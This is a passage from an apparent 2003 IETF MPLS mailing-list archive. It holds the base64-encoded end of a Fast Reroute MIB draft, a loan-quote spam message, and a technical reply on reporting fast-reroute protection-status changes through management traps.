bXBsc0Zyck9uZTJPbmVQbHJBdm9pZE5BZGRyDQogICAgICAgICB9DQogICAgU1RBVFVTICAgICAg
ICBjdXJyZW50DQogICAgREVTQ1JJUFRJT04NCiAgICAgICAiT2JqZWN0cyB0aGF0IGFyZSByZXF1
aXJlZCB0byByZXByZXNlbnQgdGhlIEZSUg0KICAgICAgICBPbmUtMi1PbmUgUExSIGluZm9ybWF0
aW9uLiINCiAgICA6Oj0geyBtcGxzRnJyR3JvdXBzIDYgfQ0KDQogICAgbXBsc0ZyckZhY1JvdXRl
REJHcm91cCBPQkpFQ1QtR1JPVVANCiAgICAgIE9CSkVDVFMgeyBtcGxzRnJyRmFjUm91dGVEQk51
bVByb3RUdW5PbklmLA0KICAgICAgICAgICAgICAgIG1wbHNGcnJGYWNSb3V0ZURCTnVtUHJvdFR1
biwNCiAgICAgICAgICAgICAgICBtcGxzRnJyRmFjUm91dGVEQlByb3RUdW5TdGF0dXMsDQogICAg
ICAgICAgICAgICAgbXBsc0ZyckZhY1JvdXRlREJQcm90VHVuUmVzdkJ3DQogICAgICAgIH0NCiAg
ICBTVEFUVVMgICAgICAgIGN1cnJlbnQNCiAgICBERVNDUklQVElPTg0KICAgICAgICJPYmplY3Rz
IHRoYXQgYXJlIHJlcXVpcmVkIHRvIHJlcHJlc2VudCB0aGUgRlJSDQogICAgICAgIEZhY2lsaXR5
IFJvdXRlIERhdGFiYXNlIGluZm9ybWF0aW9uLiINCiAgICA6Oj0geyBtcGxzRnJyR3JvdXBzIDcg
fQ0KDQogICAgbXBsc0Zyck5vdGlmR3JvdXAgTk9USUZJQ0FUSU9OLUdST1VQDQogICAgTk9USUZJ
Q0FUSU9OUyB7DQogICAgICAgICAgICAgICAgICAgIG1wbHNGcnJQcm90ZWN0ZWQsDQogICAgICAg
ICAgICAgICAgICAgIG1wbHNGcnJVblByb3RlY3RlZA0KICAgICAgICAgICAgICAgICAgfQ0KICAg
IFNUQVRVUyAgICAgICAgY3VycmVudA0KICAgIERFU0NSSVBUSU9ODQogICAgICAgICAiT2JqZWN0
cyB0aGF0IGFyZSByZXF1aXJlZCB0byByZXByZXNlbnQgRlJSIG5vdGlmaWNhdGlvbnMuIg0KICAg
IDo6PSB7IG1wbHNGcnJHcm91cHMgOCB9DQoNCiAgICBFTkQNCg0KDQo3LiBTZWN1cml0eSBDb25z
aWRlcmF0aW9ucw0KDQogICAgVGhpcyBNSUIgZG9lcyBub3QgcG9zZSBhbnkgYWRkaXRpb25hbCBz
ZWN1cml0eSBpc3N1ZXMgY29tcGFyZWQgd2l0aA0KICAgIFszXSBhbmQgWzRdLg0KDQo4LiBSZWZl
cmVuY2VzDQoNCiAgICBbMV1CcmFkbmVyLCBTLiwgIlRoZSBJbnRlcm5ldCBTdGFuZGFyZHMgUHJv
Y2VzcyAtLSBSZXZpc2lvbiAzIiwgQkNQDQogICAgICAgOSwgUkZDIDIwMjYsIE9jdG9iZXIgMTk5
Ni4NCg0KICAgIFsyXUJyYWRuZXIsIFMuLCAiS2V5IHdvcmRzIGZvciB1c2UgaW4gUkZDcyB0byBJ
bmRpY2F0ZSBSZXF1aXJlbWVudA0KICAgICAgIExldmVscyIsIEJDUCAxNCwgUkZDIDIxMTksIE1h
cmNoIDE5OTcuDQoNCiAgICBbM11TcmluaXZhc2FuLCBDLiwgVmlzd2FuYXRoYW4sIEEuIGFuZCBU
LiBOYWRlYXUsICJNdWx0aXByb3RvY29sDQogICAgICAgTGFiZWwgU3dpdGNoaW5nIChNUExTKSBU
cmFmZmljIEVuZ2luZWVyaW5nIE1hbmFnZW1lbnQgSW5mb3JtYXRpb24NCiAgICAgICBCYXNlIiwg
SW50ZXJuZXQgRHJhZnQgPGRyYWZ0LWlldGYtbXBscy10ZS1taWItMDgudHh0LCBKYW51YXJ5DQog
ICAgICAgMjAwMi4gV29yayBpbiBwcm9ncmVzcy4NCg0KICAgIFs0XVNyaW5pdmFzYW4sIEMuLCBW
aXN3YW5hdGhhbiwgQS4gYW5kIFQuIE5hZGVhdSwgIk1QTFMgTGFiZWwgU3dpdGNoDQogICAgICAg
Um91dGVyIE1hbmFnZW1lbnQgSW5mb3JtYXRpb24gQmFzZSAiLCBJbnRlcm5ldCBEcmFmdCA8ZHJh
ZnQtaWV0Zi0NCiAgICAgICBtcGxzLWxzci1taWItMDgudHh0LCBKYW51YXJ5IDIwMDIuIFdvcmsg
aW4gcHJvZ3Jlc3MuDQoNCiAgICBbNV1QYW4sIFAuLCBHYW4sIEQuLCBTd2FsbG93LCBHLiwgVmFz
c2V1ciwgSi5QaC4sIENvb3BlciwgRC4sIEF0bGFzLA0KICAgICAgIEEuLCBKb3JrLCBNLiwgRmFz
dCBSZXJvdXRlIFRlY2huaXF1ZXMgaW4gUlNWUC1URSwgZHJhZnQtaWV0Zi1tcGxzLQ0KICAgICAg
IHJzdnAtbHNwLWZhc3RyZXJvdXRlLTAwLnR4dCwgSmFudWFyeSAyMDAyLiBXb3JrIGluIHByb2dy
ZXNzLg0KDQo5LiBBY2tub3dsZWRnbWVudHMNCg0KICAgIFdlIHdvdWxkIGxpa2UgdG8gdGhhbmsg
QWxpYSBBdGxhcywgWWVvbmcgVGFpIGFuZCBXYWx0ZXIgVmFuaGltYmVlY2ssDQogICAgTWlrZSBQ
aWVjdWNoIGFuZCBBZHJpZW4gR3Jpc2UgZm9yIHRoZSBoZWxwZnVsIGRpc2N1c3Npb25zIGFuZA0K
ICAgIGNvbnRyaWJ1dGlvbnMgdG8gdGhpcyBkb2N1bWVudC4NCg0KMTAuIEludGVsbGVjdHVhbCBQ
cm9wZXJ0eSBDb25zaWRlcmF0aW9ucw0KDQogICAgVGhlIElFVEYgdGFrZXMgbm8gcG9zaXRpb24g
cmVnYXJkaW5nIHRoZSB2YWxpZGl0eSBvciBzY29wZSBvZiBhbnkNCiAgICBpbnRlbGxlY3R1YWwg
cHJvcGVydHkgb3Igb3RoZXIgcmlnaHRzIHRoYXQgbWlnaHQgYmUgY2xhaW1lZCB0byBwZXItDQog
ICAgdGFpbiB0byB0aGUgaW1wbGVtZW50YXRpb24gb3IgdXNlIG9mIHRoZSB0ZWNobm9sb2d5IGRl
c2NyaWJlZCBpbiB0aGlzDQogICAgZG9jdW1lbnQgb3IgdGhlIGV4dGVudCB0byB3aGljaCBhbnkg
bGljZW5zZSB1bmRlciBzdWNoIHJpZ2h0cyBtaWdodA0KICAgIG9yIG1pZ2h0IG5vdCBiZSBhdmFp
bGFibGU7IG5laXRoZXIgZG9lcyBpdCByZXByZXNlbnQgdGhhdCBpdCBoYXMgbWFkZQ0KICAgIGFu
eSBlZmZvcnQgdG8gaWRlbnRpZnkgYW55IHN1Y2ggcmlnaHRzLiAgSW5mb3JtYXRpb24gb24gdGhl
IElFVEYncw0KICAgIHByb2NlZHVyZXMgd2l0aCByZXNwZWN0IHRvIHJpZ2h0cyBpbiBzdGFuZGFy
ZHMtdHJhY2sgYW5kIHN0YW5kYXJkcy0NCiAgICByZWxhdGVkIGRvY3VtZW50YXRpb24gY2FuIGJl
IGZvdW5kIGluIEJDUC0xMS4gIENvcGllcyBvZiBjbGFpbXMgb2YNCiAgICByaWdodHMgbWFkZSBh
dmFpbGFibGUgZm9yIHB1YmxpY2F0aW9uIGFuZCBhbnkgYXNzdXJhbmNlcyBvZiBsaWNlbnNlcw0K
ICAgIHRvIGJlIG1hZGUgYXZhaWxhYmxlLCBvciB0aGUgcmVzdWx0IG9mIGFuIGF0dGVtcHQgbWFk
ZSB0byBvYnRhaW4gYQ0KICAgIGdlbmVyYWwgbGljZW5zZSBvciBwZXJtaXNzaW9uIGZvciB0aGUg
dXNlIG9mIHN1Y2ggcHJvcHJpZXRhcnkgcmlnaHRzDQogICAgYnkgaW1wbGVtZW50ZXJzIG9yIHVz
ZXJzIG9mIHRoaXMgc3BlY2lmaWNhdGlvbiBjYW4gYmUgb2J0YWluZWQgZnJvbQ0KICAgIHRoZSBJ
RVRGIFNlY3JldGFyaWF0Lg0KDQogICAgVGhlIElFVEYgaW52aXRlcyBhbnkgaW50ZXJlc3RlZCBw
YXJ0eSB0byBicmluZyB0byBpdHMgYXR0ZW50aW9uIGFueQ0KICAgIGNvcHlyaWdodHMsIHBhdGVu
dHMgb3IgcGF0ZW50IGFwcGxpY2F0aW9ucywgb3Igb3RoZXIgcHJvcHJpZXRhcnkNCiAgICByaWdo
dHMgd2hpY2ggbWF5IGNvdmVyIHRlY2hub2xvZ3kgdGhhdCBtYXkgYmUgcmVxdWlyZWQgdG8gcHJh
Y3RpY2UNCiAgICB0aGlzIHN0YW5kYXJkLiAgUGxlYXNlIGFkZHJlc3MgdGhlIGluZm9ybWF0aW9u
IHRvIHRoZSBJRVRGIEV4ZWN1dGl2ZQ0KICAgIERpcmVjdG9yLg0KDQoxMS4gQXV0aG9ycycgQWRk
cmVzc2VzDQoNCiAgICBSaXphIENldGluDQogICAgQWxjYXRlbA0KICAgIEZyYW5jaXMgV2VsbGVz
cGxlaW4gMQ0KICAgIEItMjAxOCBBbnR3ZXJwLCBCZWxnaXVtDQogICAgRW1haWw6IHJpemEuY2V0
aW5AYWxjYXRlbC5iZQ0KDQogICAgU3RlZmFhbiBEZSBDbm9kZGVyDQogICAgQWxjYXRlbA0KICAg
IEZyYW5jaXMgV2VsbGVzcGxlaW4gMQ0KICAgIEItMjAxOCBBbnR3ZXJwLCBCZWxnaXVtDQogICAg
RW1haWw6IHN0ZWZhYW4uZGVfY25vZGRlckBhbGNhdGVsLmJlDQoNCiAgICBEZXItSHdhIEdhbg0K
ICAgIEp1bmlwZXIgTmV0d29ya3MsIEluYy4NCiAgICAxMTk0IE4uIE1hdGhpbGRhIEF2ZW51ZQ0K
ICAgIFN1bm55dmFsZSwgQ0EgOTQwODkNCiAgICBFbWFpbDogZGhnQGp1bmlwZXIubmV0DQoNCiAg
ICBUaG9tYXMgRC4gTmFkZWF1DQogICAgQ2lzY28gU3lzdGVtcywgSW5jLg0KICAgIDMwMCBBcG9s
bG8gRHJpdmUNCiAgICBDaGVsbXNmb3JkLCBNQSAwMTgyNA0KICAgIEVtYWlsOiB0bmFkZWF1QGNp
c2NvLmNvbQ0KDQoxMi4gRnVsbCBDb3B5cmlnaHQgU3RhdGVtZW50DQoNCiAgICBDb3B5cmlnaHQg
KEMpIFRoZSBJbnRlcm5ldCBTb2NpZXR5ICgyMDAxKS4gQWxsIFJpZ2h0cyBSZXNlcnZlZC4NCg0K
ICAgIFRoaXMgZG9jdW1lbnQgYW5kIHRyYW5zbGF0aW9ucyBvZiBpdCBtYXkgYmUgY29waWVkIGFu
ZCBmdXJuaXNoZWQgdG8NCiAgICBvdGhlcnMsIGFuZCBkZXJpdmF0aXZlIHdvcmtzIHRoYXQgY29t
bWVudCBvbiBvciBvdGhlcndpc2UgZXhwbGFpbiBpdA0KICAgIG9yIGFzc2lzdCBpbiBpdHMgaW1w
bGVtZW50YXRpb24gbWF5IGJlIHByZXBhcmVkLCBjb3BpZWQsIHB1Ymxpc2hlZA0KICAgIGFuZCBk
aXN0cmlidXRlZCwgaW4gd2hvbGUgb3IgaW4gcGFydCwgd2l0aG91dCByZXN0cmljdGlvbiBvZiBh
bnkNCiAgICBraW5kLCBwcm92aWRlZCB0aGF0IHRoZSBhYm92ZSBjb3B5cmlnaHQgbm90aWNlIGFu
ZCB0aGlzIHBhcmFncmFwaCBhcmUNCiAgICBpbmNsdWRlZCBvbiBhbGwgc3VjaCBjb3BpZXMgYW5k
IGRlcml2YXRpdmUgd29ya3MuIEhvd2V2ZXIsIHRoaXMNCiAgICBkb2N1bWVudCBpdHNlbGYgbWF5
IG5vdCBiZSBtb2RpZmllZCBpbiBhbnkgd2F5LCBzdWNoIGFzIGJ5IHJlbW92aW5nDQogICAgdGhl
IGNvcHlyaWdodCBub3RpY2Ugb3IgcmVmZXJlbmNlcyB0byB0aGUgSW50ZXJuZXQgU29jaWV0eSBv
ciBvdGhlcg0KICAgIEludGVybmV0IG9yZ2FuaXphdGlvbnMsIGV4Y2VwdCBhcyBuZWVkZWQgZm9y
IHRoZSBwdXJwb3NlIG9mDQogICAgZGV2ZWxvcGluZyBJbnRlcm5ldCBzdGFuZGFyZHMgaW4gd2hp
Y2ggY2FzZSB0aGUgcHJvY2VkdXJlcyBmb3INCiAgICBjb3B5cmlnaHRzIGRlZmluZWQgaW4gdGhl
IEludGVybmV0IFN0YW5kYXJkcyBwcm9jZXNzIG11c3QgYmUNCiAgICBmb2xsb3dlZCwgb3IgYXMg
cmVxdWlyZWQgdG8gdHJhbnNsYXRlIGl0IGludG8gbGFuZ3VhZ2VzIG90aGVyIHRoYW4NCiAgICBF
bmdsaXNoLg0KDQogICAgVGhlIGxpbWl0ZWQgcGVybWlzc2lvbnMgZ3JhbnRlZCBhYm92ZSBhcmUg
cGVycGV0dWFsIGFuZCB3aWxsIG5vdCBiZQ0KICAgIHJldm9rZWQgYnkgdGhlIEludGVybmV0IFNv
Y2lldHkgb3IgaXRzIHN1Y2Nlc3NvcnMgb3IgYXNzaWducy4NCg0KICAgIFRoaXMgZG9jdW1lbnQg
YW5kIHRoZSBpbmZvcm1hdGlvbiBjb250YWluZWQgaGVyZWluIGlzIHByb3ZpZGVkIG9uIGFuDQog
ICAgIkFTIElTIiBiYXNpcyBhbmQgVEhFIElOVEVSTkVUIFNPQ0lFVFkgQU5EIFRIRSBJTlRFUk5F
VCBFTkdJTkVFUklORw0KICAgIFRBU0sgRk9SQ0UgRElTQ0xBSU1TIEFMTCBXQVJSQU5USUVTLCBF
WFBSRVNTIE9SIElNUExJRUQsIElOQ0xVRElORw0KICAgIEJVVCBOT1QgTElNSVRFRCBUTyBBTlkg
V0FSUkFOVFkgVEhBVCBUSEUgVVNFIE9GIFRIRSBJTkZPUk1BVElPTg0KICAgIEhFUkVJTiBXSUxM
IE5PVCBJTkZSSU5HRSBBTlkgUklHSFRTIE9SIEFOWSBJTVBMSUVEIFdBUlJBTlRJRVMgT0YNCiAg
ICBNRVJDSEFOVEFCSUxJVFkgT1IgRklUTkVTUyBGT1IgQSBQQVJUSUNVTEFSIFBVUlBPU0UuDQo=

--------------4A87041EEE7871842610EC1A--



From owner-mpls@UU.NET  Thu Oct 30 07:25:40 2003
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA19650
	for <mpls-archive@lists.ietf.org>; Thu, 30 Oct 2003 07:25:40 -0500 (EST)
Received: from cmr2.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpmqj01465
	for <mpls-archive@lists.ietf.org>; Thu, 30 Oct 2003 12:25:48 GMT
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQpmqj01301;
	Thu, 30 Oct 2003 12:25:42 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQpmqi18861
	for mpls-outgoing; Thu, 30 Oct 2003 12:05:36 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQpmqi18856
	for <mpls@mail-control.ash.ops.us.uu.net>; Thu, 30 Oct 2003 12:05:32 GMT
Received: from cmr2.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQpmqi03758
	for <mpls@uu.net>; Thu, 30 Oct 2003 12:03:36 GMT
Received: from cmr2.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpmqi27721
	for <mpls@uu.net>; Thu, 30 Oct 2003 12:03:36 GMT
Received: from ams-iport-1.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: ams-iport-1.cisco.com [144.254.74.5])
	id QQpmqi27696
	for <mpls@uu.net>; Thu, 30 Oct 2003 12:03:35 GMT
Received: from cisco.com (171.71.177.254)
  by ams-iport-1.cisco.com with ESMTP; 30 Oct 2003 13:01:27 +0100
Received: from flask.cisco.com (IDENT:mirapoint@flask.cisco.com [161.44.122.62])
	by sj-core-2.cisco.com (8.12.9/8.12.6) with ESMTP id h9UC3Tiw025739
	for <mpls@uu.net>; Thu, 30 Oct 2003 04:03:31 -0800 (PST)
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.70.36])
	by flask.cisco.com (Mirapoint Messaging Server MOS 3.3.6-GR)
	with ESMTP id ADO73402;
	Thu, 30 Oct 2003 07:03:29 -0500 (EST)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.11.2/CISCO.WS.1.2) id h9UC3TI21386 for mpls@uu.net; Thu, 30 Oct 2003 07:03:29 -0500 (EST)
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQpmqi11016
	for <mpls@mail-control.ash.ops.us.uu.net>; Thu, 30 Oct 2003 12:02:05 GMT
Received: from cmr2.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQpmqi00087;
	Thu, 30 Oct 2003 12:01:26 GMT
Received: from cmr2.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpmqi24854;
	Thu, 30 Oct 2003 12:01:25 GMT
Received: from 198.5.241.40 by cmr2.ash.ops.us.uu.net with SMTP 
	(peer crosschecked as: [211.158.5.3])
	id QQpmqi24740;
	Thu, 30 Oct 2003 12:01:17 GMT
Received: from [169.223.244.112] by 198.5.241.40; Fri, 31 Oct 2003 05:59:30 +0500
Message-ID: <a$65kp83bz$$x1-eg$o-0$8$35$k@4y6p.7xyk3>
From: "Billy Swan" <l40psdrusx@sispatt.com>
Reply-To: "Billy Swan" <l40psdrusx@sispatt.com>
To: mpls-request@UU.NET
Subject: LOCK YOUR RATE BEFORE IT'S TOO LATE
Date: Fri, 31 Oct 2003 05:59:30 +0500
X-Mailer: Microsoft Outlook Express 6.00.2462.0000
MIME-Version: 1.0
Content-Type: multipart/alternative;
	boundary="D_7AC7BE.E15A3"
X-Priority: 3
Sender: owner-mpls@UU.NET
Precedence: bulk


--D_7AC7BE.E15A3
Content-Type: text/html;
Content-Transfer-Encoding: quoted-printable

<p><font color=3D"green">Free Quotes Available from 3 lenders<br>
<a href=3D"http://www.freeloanquote.net/102/"><img src=3D"http://freeloanq=
uote.net/102/images/ratequote.gif"></a>

--D_7AC7BE.E15A3--



From owner-mpls@UU.NET  Thu Oct 30 09:02:07 2003
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA22500
	for <mpls-archive@lists.ietf.org>; Thu, 30 Oct 2003 09:02:07 -0500 (EST)
Received: from cmr0.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpmqq15014
	for <mpls-archive@lists.ietf.org>; Thu, 30 Oct 2003 14:02:15 GMT
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQpmqq14774;
	Thu, 30 Oct 2003 14:02:07 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQpmqo17340
	for mpls-outgoing; Thu, 30 Oct 2003 13:42:46 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQpmqo17332
	for <mpls@mail-control.ash.ops.us.uu.net>; Thu, 30 Oct 2003 13:42:44 GMT
Received: from cmr2.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQpmqo01651
	for <mpls@uu.net>; Thu, 30 Oct 2003 13:42:03 GMT
Received: from cmr2.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpmqo19530
	for <mpls@uu.net>; Thu, 30 Oct 2003 13:42:03 GMT
Received: from ams-iport-1.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: ams-iport-1.cisco.com [144.254.74.5])
	id QQpmqo19499
	for <mpls@uu.net>; Thu, 30 Oct 2003 13:42:02 GMT
Received: from cisco.com (171.71.177.254)
  by ams-iport-1.cisco.com with ESMTP; 30 Oct 2003 14:39:51 +0100
Received: from flask.cisco.com (IDENT:mirapoint@flask.cisco.com [161.44.122.62])
	by sj-core-2.cisco.com (8.12.9/8.12.6) with ESMTP id h9UDftiw001247
	for <mpls@uu.net>; Thu, 30 Oct 2003 05:41:56 -0800 (PST)
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.70.36])
	by flask.cisco.com (Mirapoint Messaging Server MOS 3.3.6-GR)
	with ESMTP id ADO77987;
	Thu, 30 Oct 2003 08:41:54 -0500 (EST)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.11.2/CISCO.WS.1.2) id h9UDfsC24440 for mpls@uu.net; Thu, 30 Oct 2003 08:41:54 -0500 (EST)
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQpmqo17275
	for <mpls@mail-control.ash.ops.us.uu.net>; Thu, 30 Oct 2003 13:41:16 GMT
Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQpmqo00971
	for <mpls@UU.NET>; Thu, 30 Oct 2003 13:40:01 GMT
Received: from cmr0.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpmqo12486
	for <mpls@UU.NET>; Thu, 30 Oct 2003 13:40:00 GMT
Received: from workhorse.fictitious.org by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: workhorse.fictitious.org [209.150.1.230])
	id QQpmqo12471
	for <mpls@UU.NET>; Thu, 30 Oct 2003 13:39:59 GMT
Received: from workhorse.fictitious.org (localhost.fictitious.org [127.0.0.1])
	by workhorse.fictitious.org (8.12.8p1/8.12.8) with ESMTP id h9UDe62d086173;
	Thu, 30 Oct 2003 08:40:07 -0500 (EST)
	(envelope-from curtis@workhorse.fictitious.org)
Message-Id: <200310301340.h9UDe62d086173@workhorse.fictitious.org>
To: Nurit Sprecher <nurit.sprecher@SeabridgeNetworks.com>
cc: "'Adrian Farrel'" <adrian@olddog.co.uk>, "'mpls@uu.net'" <mpls@UU.NET>,
        ccamp@ops.ietf.org
Reply-To: curtis@fictitious.org
Subject: Re: RSVP Graceful Restart 
In-reply-to: Your message of "Thu, 30 Oct 2003 12:10:02 +0200."
             <C87E5A01714C7840B92CDED9E79329CA0117D0A7@leopard.seabridge.co.il> 
Date: Thu, 30 Oct 2003 08:40:06 -0500
From: Curtis Villamizar <curtis@workhorse.fictitious.org>
Sender: owner-mpls@UU.NET
Precedence: bulk


In message <C87E5A01714C7840B92CDED9E79329CA0117D0A7@leopard.seabridge.co.il>, 
Nurit Sprecher writes:
> 
> Hi,
> I have a question on notifications when FRR is activated.
> If an LSP has been established with the 'one-to-one local protection
> desired' and a detour has been established at each PLR --> all hops along
> the LSP are considered FRR protected. 
> Is for example, a problem occurs on one of these detours and the hop becomes
> to be unprotected, the consequent Resv message will indicate that the
> relevant node is not protected any more and the ARHop table will be updated
> with the information. However, a management station has no idea of the
> event, unless it keeps polling the ARHop table, which is not a reasonable
> operation. I think that an appropriate notification/trap should be sent to
> the management station indicating the protection status has been changed to
> trigger the management station polling the ARHop table and verifying which
> node is not protected any more, or which node that has not been protected is
> now protected. 
> Is it possible to add such a kind of trap to the TE MIB?
> Thanks in advance, Nurit.

The local_protect_available bit should be set by each node and if the
backup fails at a node the bit should be cleared.  The ingress then
knows the primary LSP is not fully protected and can then optionally
set a timer and reroute the primary LSP if for some reason the backup
LSP cannot be reestablished during that time.

Since the TE MIB reports status of the ingress, it might be better for
the ingress to send traps on protection status changes rather than
each midpoint sending status (ie: {is|not} fully-protected, {is|not}
protection-inuse).  If the management station need to know which node
transitioned to not protected or inuse then it can poll the midpoints.

Curtis



From owner-mpls@UU.NET  Thu Oct 30 10:46:51 2003
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA27572
	for <mpls-archive@lists.ietf.org>; Thu, 30 Oct 2003 10:46:50 -0500 (EST)
Received: from cmr2.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpmqx26686
	for <mpls-archive@lists.ietf.org>; Thu, 30 Oct 2003 15:46:59 GMT
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQpmqx26254;
	Thu, 30 Oct 2003 15:46:47 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQpmqv05380
	for mpls-outgoing; Thu, 30 Oct 2003 15:27:47 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQpmqv05370
	for <mpls@mail-control.ash.ops.us.uu.net>; Thu, 30 Oct 2003 15:27:44 GMT
Received: from cmr0.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQpmqv03388
	for <mpls@uu.net>; Thu, 30 Oct 2003 15:22:11 GMT
Received: from cmr0.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpmqv25294
	for <mpls@uu.net>; Thu, 30 Oct 2003 15:22:10 GMT
Received: from sj-iport-5.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sj-iport-5.cisco.com [171.68.10.87])
	id QQpmqv25267
	for <mpls@uu.net>; Thu, 30 Oct 2003 15:22:09 GMT
Received: from cisco.com (64.102.124.13)
  by sj-iport-5.cisco.com with ESMTP; 30 Oct 2003 07:22:13 -0800
Received: from flask.cisco.com (IDENT:mirapoint@flask.cisco.com [161.44.122.62])
	by rtp-core-2.cisco.com (8.12.9/8.12.6) with ESMTP id h9UFM3N2001424
	for <mpls@uu.net>; Thu, 30 Oct 2003 10:22:05 -0500 (EST)
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.70.36])
	by flask.cisco.com (Mirapoint Messaging Server MOS 3.3.6-GR)
	with ESMTP id ADO87326;
	Thu, 30 Oct 2003 10:22:02 -0500 (EST)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.11.2/CISCO.WS.1.2) id h9UFM2A27891 for mpls@uu.net; Thu, 30 Oct 2003 10:22:02 -0500 (EST)
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQpmqv04804
	for <mpls@mail-control.ash.ops.us.uu.net>; Thu, 30 Oct 2003 15:20:58 GMT
Received: from cmr2.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQpmqv03499
	for <mpls@uu.net>; Thu, 30 Oct 2003 15:17:27 GMT
Received: from cmr2.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpmqv29655
	for <mpls@uu.net>; Thu, 30 Oct 2003 15:17:27 GMT
Received: from sj-iport-5.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sj-iport-5.cisco.com [171.68.10.87])
	id QQpmqv29640
	for <mpls@uu.net>; Thu, 30 Oct 2003 15:17:26 GMT
Received: from cisco.com (64.102.124.12)
  by sj-iport-5.cisco.com with ESMTP; 30 Oct 2003 07:17:29 -0800
Received: from flask.cisco.com (IDENT:mirapoint@flask.cisco.com [161.44.122.62])
	by rtp-core-1.cisco.com (8.12.9/8.12.6) with ESMTP id h9UFHLFH012830;
	Thu, 30 Oct 2003 10:17:22 -0500 (EST)
Received: from tnadeauw2k02 (che-vpn-cluster-2-105.cisco.com [10.86.242.105])
	by flask.cisco.com (Mirapoint Messaging Server MOS 3.3.6-GR)
	with ESMTP id ADO86854;
	Thu, 30 Oct 2003 10:17:20 -0500 (EST)
Reply-To: <tnadeau@cisco.com>
From: "Thomas D. Nadeau" <tnadeau@cisco.com>
To: "'Adrian Farrel'" <adrian@olddog.co.uk>,
        "'Nurit Sprecher'" <nurit.sprecher@SeabridgeNetworks.com>
Cc: "'mpls@uu.net'" <mpls@UU.NET>
Subject: RE: Fast Reroute MIB Notifications
Date: Thu, 30 Oct 2003 10:17:09 -0500
Organization: Cisco Systems, inc.
